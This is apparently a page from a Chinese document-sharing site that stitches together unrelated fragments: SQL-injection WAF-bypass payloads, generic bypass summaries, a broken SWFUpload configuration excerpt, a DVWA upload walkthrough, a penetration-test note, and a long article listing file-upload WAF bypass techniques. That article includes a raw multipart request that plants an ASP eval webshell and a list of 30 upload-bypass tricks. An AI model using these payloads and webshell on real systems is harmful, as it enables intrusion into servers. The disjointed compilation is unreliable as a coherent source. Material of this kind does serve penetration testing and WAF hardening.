我的WafBypass之道(Upload篇)
WAF绕过方法从简单到高级
WAF绕过方法从简单到高级什么是WAF?Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
基本/简单绕过方法：1、注释符/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….2、使用大小写/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….3、结合前面两种方法/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….4、关键字替换/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….此方法适用于一些会把union select替换掉的WAF，经过WAF 过滤后就会变成 union select 1,2,3,4....5、内部注释/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…U替换为%55，S替换为%53 在union 和select 之间添加注释/**/高级绕过方法：1、缓冲区溢出/使防火墙崩溃大部分防火墙都是基于C/C++开发的，我们可以使用缓冲区溢出使用WAF崩溃/index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….你可以使用如下方法测试WAFpage_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A /*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….如果返回500错误，你就可以使用缓冲区溢出的方法来绕过WAF2、对字母进行编码/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….3、使用其他变量或者命令对注入语句进行替换COMMAND | WHAT TO USE INSTEAD@@version | version()concat() | concat_ws()group_concat() | concat_ws()4、利用WAF本身的功能绕过假如你发现WAF会把"*"替换为空，那么你就可以利用这一特性来进行绕过/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....其它方法：-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)。
waf绕过方法总结
waf绕过方法总结标题，WAF绕过方法总结，如何规避Web应用程序防火墙的保护。
随着网络安全威胁的不断增加，Web应用程序防火墙（WAF）成为了许多组织保护其Web应用程序免受攻击的重要工具。
然而，黑客们也在不断寻找新的方法来绕过WAF的保护，以便成功发动攻击。
在本文中，我们将总结一些常见的WAF绕过方法，以及如何规避这些攻击。
1. 参数污染，黑客可以尝试修改请求参数的名称或值，以混淆WAF并成功绕过其检测机制。
为了应对这种攻击，开发人员应该对输入参数进行严格的验证和过滤，确保它们符合预期的格式和范围。
2. 编码转换，通过对请求中的特殊字符进行编码或转换，黑客可以尝试规避WAF的检测。
为了防止这种攻击，开发人员应该对输入数据进行适当的解码和规范化，以确保WAF可以正确识别和过滤恶意代码。
3. 分段攻击，黑客可以将恶意代码分割成多个请求，以规避WAF的检测。
为了应对这种攻击，WAF需要能够对请求进行重新组装，并对整个请求进行综合分析，以便发现潜在的恶意行为。
4. 协议级攻击，黑客可以利用协议级漏洞，如HTTP协议的特性，来绕过WAF的检测。
为了防止这种攻击，WAF需要能够深入分析和理解不同协议的特性，并对其进行有效的检测和过滤。
综上所述，WAF绕过方法的不断演变和复杂化，使得保护Web应用程序免受攻击变得更加困难。
开发人员和安全专家需要不断更新自己的知识，以及采用最新的防护技术和工具，来确保他们的Web应用程序能够抵御不断变化的威胁。
只有通过不断的学习和创新，我们才能有效地保护我们的网络安全。
文件上传利器SWFUpload使用指南
"post_param_name_1" :"post_param_value_1",
"post_param_name_2" :"post_param_value_2",
"post_param_name_n" :"post_param_value_n"
},
use_query_string:false,
一、配置参数对象中的常用属性及说明
属性
类型
默认值
描述
upload_url
String
处理上传文件的服务器端页面的url地址，可以是绝对地址，也可以是相对地址，当为相对地址时相对的是当前代码所在的文档地址
preserve_relative_urls
Boolean
false
如果为false则SWFUpload会把swfupload.swf用到的相对地址转换为绝对地址，以达到更好的兼容性
file_upload_limit
Number
指定最多能上传多少个文件，当上传成功的文件数量达到了这个最大值后，就不能再上传文件了，也不能往上传队列里添加文件了。把该属性设为0时表示不限制文件的上传数量。
file_queue_limit
Number
指定文件上传队列里最多能同时存放多少个文件。当超过了这个数目后只有当队列里有文件上传成功、上传出错或被取消上传后，等同数量的其他文件才可以被添加进来。当file_upload_limit的数值或者剩余的能上传的文件数量小于file_queue_limit时，则取那个更小的值
...等等
我们看到要实现一个swfupload上传功能很简单，就是实例化一个swfupload对象。但繁琐的地方就在于实例化实要用到的参数配置对象，以及各种事件的发生时机以和提供的参数。所以重点来了。下面几个表格对开发中要用到的东西列举了出来，虽然已经蛮多了，但并不是swfupload的全部，我列出来的只是常用的。要查看完整的文档，请到swfupload官网上查询。
DVWA靶场通关----（5）FileUpload教程
DVWA靶场通关----（5）FileUpload教程File Upload（⽂件上传）File Upload（⽂件上传），由于对上传⽂件的内、类型没有做严格的过滤、检查，使得攻击者可以通过上传⽊马⽂件获取服务器的webshell⽂件。
File Upload主题：Low源码解析<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?//⽂件的⽬标路径hackable/uploads/，也就是⽂件上传的位置$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";// basename(path,suffix)//函数返回路径中的⽂件名部分，如果可选参数suffix为空，则返回的⽂件名包含后缀名，反之不包含后缀名。
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?//移动⽤户上传⽂件⾄⽬标路径if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}>漏洞复现 从源码中可以看到对上传⽂件的类型、内容没有做任何的过滤与检查，同时告诉了我们⽂件上传的路径，存在明显的⽂件上传漏洞。
记录一次渗透测试WAF绕过经过
记录⼀次渗透测试WAF绕过经过
今天在对某运营商⼀个站点进⾏渗透测试，在查询功能处，查询的关键字存在SQL注⼊。
抓取到的原始请求数据包如下图所⽰：
对参数searchKeyWord测试发现，⽬标应⽤程序有WAF防护：
过滤了单引号和双引号。
在讲述后续注⼊之前，先简单介绍下何为multipart/form-data。
它是⼀种常见的 POST 数据提交的⽅式，通常有两种参数提交⽅式：
① application/x-www-form-urlencoded (默认值)
② multipart/form-data
经过尝试，这个例⼦中，WAF未能覆盖Content-Type: multipart/form-data; 从⽽导致可以被绕过。
或者WAF会认为它是⽂件上传请求，从⽽只检测⽂件上传，导致被绕过，是典型的协议未覆盖。
以前加速乐的WAF也出现过这种缺陷。
参数searchKeyWord存在SQL注⼊漏洞：
下⾯直接使⽤sqlmap进⾏验证：
受到⽀持，是标准的SQL语句。
waf绕过原理
waf绕过原理摘要：一、前言二、WAF绕过技术背景三、WAF工作原理简介四、常见WAF绕过方法1.针对性绕过2.通用绕过技巧五、WAF绕过技术的挑战与未来正文：WAF（Web应用防火墙）是一种用于保护Web应用安全的设备，能够对HTTP请求进行检测和过滤，以防止恶意攻击。
然而，随着网络攻击手段的不断升级，WAF绕过技术也应运而生。
本文将为您介绍WAF绕过的原理以及相关技术。
首先，了解WAF的工作原理至关重要。
WAF通过分析HTTP请求，识别潜在的恶意行为，如SQL注入、跨站脚本攻击（XSS）等。
一旦检测到恶意请求，WAF会立即采取措施阻止这些请求，从而保护Web应用免受攻击。
在了解WAF的工作原理之后，我们来看看如何绕过WAF。
通常，WAF 绕过技术可分为针对性绕过和通用绕过技巧。
针对性绕过是指攻击者针对特定WAF产品或配置，利用其中的漏洞或弱点进行绕过。
这种方法通常需要对目标WAF有较深入的了解，并可能需要一定的运气。
例如，某些WAF可能存在逻辑漏洞，允许攻击者通过特定的请求参数绕过防护。
通用绕过技巧则是一类不受特定WAF产品或配置限制的方法。
这些方法通常利用Web应用本身的安全漏洞，如SQL注入、XSS等，从而绕过WAF 的防护。
通用绕过技巧包括：1.编码绕过：利用不同编码方式对请求参数进行编码，从而绕过WAF的检测。
2.数据压缩：通过对请求数据进行压缩，使得恶意代码在压缩后的数据中难以被检测。
3.分块传输：将恶意数据分成多个小块，分散在不同的请求参数中，从而降低被检测的概率。
尽管WAF绕过技术不断发展，但值得注意的是，WAF本身并非万无一失。
攻击者仍需面对WAF的防护机制，如黑名单、白名单等。
此外，随着网络安全法规的不断完善，WAF的部署和应用也将越来越规范化。
WAF绕过方法总结
WAF绕过方法总结WAF绕过方法是指在Web应用程序防火墙（Web Application Firewall，简称WAF）的保护下，仍然能够成功绕过它的攻击方法。
WAF是一种用于防止网站被攻击的安全解决方案，它通过检测和过滤恶意网络流量来保护Web应用程序免受攻击。
然而，攻击者通过使用一些技术和方法，仍然可以绕过WAF的保护。
下面将总结一些常见的WAF绕过方法。
1.HTTP方法绕过：WAF通常通过检测和过滤HTTP请求方法来实现防护。
攻击者可以尝试使用其他HTTP请求方法，如PROPFIND、OPTIONS等，以绕过WAF的检测。
2.URL编码绕过：WAF通常对URL中的特殊字符进行过滤和阻止。
攻击者可以尝试使用URL编码来绕过WAF的检测，如将特殊符号进行编码后再进行请求。
3.参数分割绕过：WAF可能对请求中的参数进行检测和过滤，攻击者可以尝试使用分割符号（如逗号、分号）将参数进行分割，以绕过WAF的检测。
4. HTTP头部绕过：WAF通常会对HTTP头部进行分析和过滤，攻击者可以尝试修改HTTP头部的一些字段，如User-Agent、Referer等，以绕过WAF的检测。
5. 编码绕过：WAF可能对提交的数据进行编码检测，攻击者可以尝试使用不同的编码方式，如Base64、URL编码等，以绕过WAF的检测。
6.IP地址绕过：WAF可能会对请求中的IP地址进行检测和过滤，攻击者可以尝试使用代理服务器或匿名网络来隐藏真实的IP地址，以绕过WAF的检测。
7.隐蔽字符绕过：攻击者可以尝试使用一些隐蔽字符来绕过WAF的检测。
例如，使用零宽字符、非打印字符等来混淆恶意代码，使其在WAF的检测中难以被发现。
8.弱点利用绕过：WAF可能有一些已知的弱点和漏洞，攻击者可以尝试利用这些弱点和漏洞来绕过WAF的保护。
9.预处理绕过：WAF通常会对请求进行预处理，并尝试过滤和删除恶意代码。
攻击者可以尝试通过修改请求或恶意代码的结构来绕过WAF的预处理步骤。
waf反向代理的原理_解释说明以及概述
waf反向代理的原理解释说明以及概述1. 引言1.1 概述在当前快速发展的互联网时代，网络安全问题变得日益严重和复杂。
针对Web 应用程序的攻击和漏洞不断涌现，给企业和个人带来了巨大的威胁。
为了解决这一问题，WAF反向代理技术应运而生。
1.2 文章结构本文将对WAF反向代理的原理、功能和特点进行详细阐述，并进一步探讨其在网络安全中的应用场景和案例研究。
最后，我们将总结WAF反向代理的关键要点，并展望未来WAF发展趋势。
1.3 目的本文的目的是帮助读者深入了解WAF反向代理技术，包括其工作原理、功能特点以及在网络安全中的实际应用。
通过本文，读者将能够更好地了解如何利用WAF反向代理保护自己的Web应用程序或API接口，并增强网络安全防护意识。
2. WAF反向代理的原理：2.1 反向代理基本概念：反向代理是指通过一个中间节点将客户端请求转发到服务器端，在服务器端响应返回给客户端。
与正向代理不同，反向代理是对服务端进行保护和隐藏。
它可以实现负载均衡、安全过滤、缓存加速等功能。
2.2 WAF的作用和意义：Web应用防火墙（WAF）是一种网络安全设备，可识别并阻止恶意Web 流量和攻击。
WAF扮演着保护Web应用程序免受各种网络攻击的角色，如SQL注入、跨站脚本攻击（XSS）、请求伪造等。
其主要作用是检测和拦截恶意流量，以保护后端Web服务器免受攻击。
2.3 WAF反向代理的工作原理：WAF反向代理通过将客户端的请求先发送给WAF设备进行处理，然后再将处理后的请求转发给真实的Web服务器。
具体而言，WAF反向代理工作原理如下：- 客户端发送请求到WAF反向代理。
- WAF设备收到请求后，会进行一系列安全策略验证，如URL白名单、黑名单过滤、用户认证等。
- WAF设备还会进行内容扫描，并检测并过滤潜在的攻击行为。
- 如果请求通过了安全验证，WAF设备将请求转发给后端的Web服务器处理。
- 后端Web服务器将响应返回给WAF设备。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
0x00 前言玩waf当然也要讲究循序渐进，姊妹篇就写文件上传好了，感觉也就SQLi和Xss的WafBypass最体现发散性思维的，而文件上传、免杀、权限提升这几点的Bypass更需要的是实战的经验。
本文内容为沉淀下来的总结以及一些经典案例。
想到哪写到哪，所以可能不是很全。
创造姿势不易，且行且珍惜。
（案例图不好上，毕竟是upload的Bypass，就直接上姿势）阅读此文你会发现新老姿势都有，因为我是想系统的写一写，文件上无非就是结合各种特性或waf缺陷。
辍写时想过一个问题，如何归拢哪些属于文件上传Bypass的范畴？打个比方：上传正常.jpg的图片 #成功上传正常.php #拦截绕过.php文件的filename后进行上传 #成功使用绕过了filename的姿势上传恶意.php #拦截以上这么个逻辑通常来讲是waf检测到了正文的恶意内容。
再继续写的话就属于免杀的范畴了，过于模糊并且跑题了，并不是真正意义上的文件上传Bypass，那是写不完的。
0x01 搞起上传文件（歪脖骚）时waf会检查哪里？请求的urlBoundary边界MIME类型文件扩展名文件内容常见扩展名黑名单：asp|asa|cer|cdx|aspx|ashx|ascx|asaxphp|php2|php3|php4|php5|asis|htaccesshtm|html|shtml|pwml|phtml|phtm|js|jspvbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini个人写的“稍微”全一点，实际上waf的黑名单就不一定这么全了。
测试时的准备工作：什么语言？什么容器？什么系统？都什么版本？上传文件都可以上传什么格式的文件？还是允许上传任意类型？上传的文件会不会被重命名或者二次渲染？0x02 容器特性> 有些很老的特性其实也是最开始绕waf的基础，这里就一笔带过了。
Apache1.X 2.X解析漏洞：Apache在以上版本中，解析文件名的方式是从后向前识别扩展名，直到遇见Apache可识别的扩展名为止。
Win2k3 + APACHE2.0.59 + PHPIIS6.0两个解析缺陷：目录名包含.asp、.asa、.cer的话，则该目录下的所有文件都将按照asp解析。
例如：文件名中如果包含.asp;、.asa;、.cer;则优先使用asp解析。
例如：有一点需要注意，如果程序会将上传的图片进行重命名的话就gg了。
Nginx解析漏洞：Nginx 0.5.*Nginx 0.6.*Nginx 0.7 <= 0.7.65Nginx 0.8 <= 0.8.37以上Nginx容器的版本下，上传一个在waf白名单之内扩展名的文件shell.jpg，然后以shell.jpg.php进行请求。
Nginx 0.8.41 – 1.5.6：以上Nginx容器的版本下，上传一个在waf白名单之内扩展名的文件shell.jpg，然后以shell.jpg%20.php进行请求。
PHP CGI解析漏洞：IIS 7.0/7.5Nginx < 0.8.3以上的容器版本中默认php配置文件cgi.fix_pathinfo=1时，上传一个存在于白名单的扩展名文件shell.jpg，在请求时以shell.jpg/shell.php请求，会将shell.jpg以php来解析。
多个Content-Disposition：在IIS的环境下，上传文件时如果存在多个Content-Disposition的话，IIS会取第一个Content-Disposition中的值作为接收参数，而如果waf只是取最后一个的话便会被绕过。
Win2k8 + IIS7.0 + PHP请求正文格式问题：Content-Disposition: form-data; name="file1"; filename="shell.asp"Content-Type: application/octet-stream正常的upload请求都是以上这样，然而这个格式也并非强制性的，在IIS6.0下如果我们换一种书写方式，把filename放在其他地方：Win2k3 + IIS6.0 + ASP结合.htaccess指定某些文件使用php来解析：这个方法通常用于绕过waf黑名单的，配置该目录下所有文件都将其使用php来解析：0x03 系统特性Windows特殊字符：当我们上传一个文件的filename为shell.php{%80-%99}时：waf可能识别为.php{%80-%99}，就会导致被绕过。
Win2k8 + IIS7.0 + PHPexee扩展名：上传.exe文件通常会被waf拦截，如果使用各种特性无用的话，那么可以把扩展名改为.exee再进行上传。
NTFS ADS特性：ADS是NTFS磁盘格式的一个特性，用于NTFS交换数据流。
在上传文件时，如果waf对请求正文的filename匹配不当的话可能会导致绕过。
Windows在创建文件时，在文件名末尾不管加多少点都会自动去除，那么上传时filename可以这么写shell.php......也可以这么写shell.php::$DATA.......。
Win2k8 + IIS7.0 + PHP0x04 waf缺陷匹配过于严谨：一个空格导致安全狗被绕过：Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099尝试在boundary后面加个空格或者其他可被正常处理的字符：boundary =---------------------------4714631421141173021852555099Win2k3 + IIS6.0 + ASP以上也能说明一个问题，安全狗在上传文件时匹配各个参数都十分严谨，不过IIS6.0以上也变的严谨了，再看看其他的地方：每次文件上传时的Boundary边界都是一致的：Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099Content-Length: 253-----------------------------4714631421141173021852555099Content-Disposition: form-data; name="file1"; filename="shell.asp"Content-Type: application/octet-stream<%eval request("a")%>-----------------------------4714631421141173021852555099--但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题，两段Boundary不一致使得waf认为这段数据是无意义的，可是容器并没有那么严谨：Win2k3 + IIS6.0 + ASP修改Content-Type的MIME类型：Win2k3 + IIS6.0 + ASPASCII > 127的字符：数据过长导致的绕过：waf如果对Content-Disposition长度处理的不够好的话可能会导致绕过，例如：Win2k3 + IIS6.0 + ASP基于文件名：基于构造长文件名如果web程序会将filename除了扩展名的那段重命名的话，那么还可以构造更多的点、符号等等。
特殊的长文件名：文件名使用非字母数字，比如中文等最大程度的拉长，不行的话再结合一下其他的特性进行测试：shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg 0x05 End在这里放上个人之前总结的30个上传绕过姿势：1. filename在content-type下面2. .asp{80-90}3. NTFS ADS4. .asp...5. boundary不一致6. iis6分号截断asp.asp;asp.jpg7. apache解析漏洞php.php.ddd8. boundary和content-disposition中间插入换行9. hello.php:a.jpg然后hello.<<<10. filename=php.php11. filename="a.txt";filename="a.php"12. name=\n"file";filename="a.php"13. content-disposition:\n14. .htaccess文件15. a.jpg.\nphp16. 去掉content-disposition的form-data字段17. php<5.3 单双引号截断特性18. 删掉content-disposition: form-data;19. content-disposition\00:20. {char}+content-disposition21. head头的content-type: tab22. head头的content-type: multipart/form-DATA23. filename后缀改为大写24. head头的Content-Type: multipart/form-data;\n25. .asp空格26. .asp0x00.jpg截断27. 双boundary28. file\nname="php.php"29. head头content-type空格:30. form-data字段与name字段交换位置文件上传Bypass可写的点不多，现有的姿势也不能拿出来讲（笑）重点在于上传文件时遇到waf能够准确判断所拦截的点，目光不能只盯在waf，更多的时注意后端的情况。
往往是需要结合哪些语言/容器/系统版本“可以怎样”、“不可以怎样”。